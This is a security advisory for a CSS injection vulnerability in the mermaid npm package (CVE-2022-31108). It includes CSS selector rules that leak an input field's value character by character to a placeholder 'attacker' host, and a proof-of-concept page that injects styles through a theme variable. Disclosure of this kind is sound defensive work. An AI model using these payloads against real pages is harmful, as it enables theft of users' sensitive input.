Possible inject arbitrary `CSS` into the generated graph affecting the container HTML

Moderate **knsv** published **GHSA-x3vm-38hw-55wf** on Jun 28

Package

mermaid (npm)

Affected versions	Patched versions
8+	9.1.2

Description

An attacker is able to inject arbitrary `css` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `css` selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.

```
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
```

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

- Open an issue in example link to repo
- Email us at example email address

Product

mermaid.js

Tested Version

v9.1.1

Details

Issue 1: Multiple CSS Injection (`GHSL-2022-036`)

By supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.

Snippet from src/styles.js:

```
const getStyles = (type, userStyles, options) => {
  return `  {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }
```

For example, if we set `textColor` to `"green;} #target { background-color: crimson }"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.

```
<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: c
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>
```

In the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

- mermaid/src/mermaidAPI.js
  Line 393 in `5d30d46`

```
393      userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
```

- mermaid/src/styles.js
  Line 35 in `5d30d46`

```
 35      const getStyles = (type, userStyles, options) => {
```

Impact

This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

Severity

Moderate

CVE ID

CVE-2022-31108

Weaknesses

No CWEs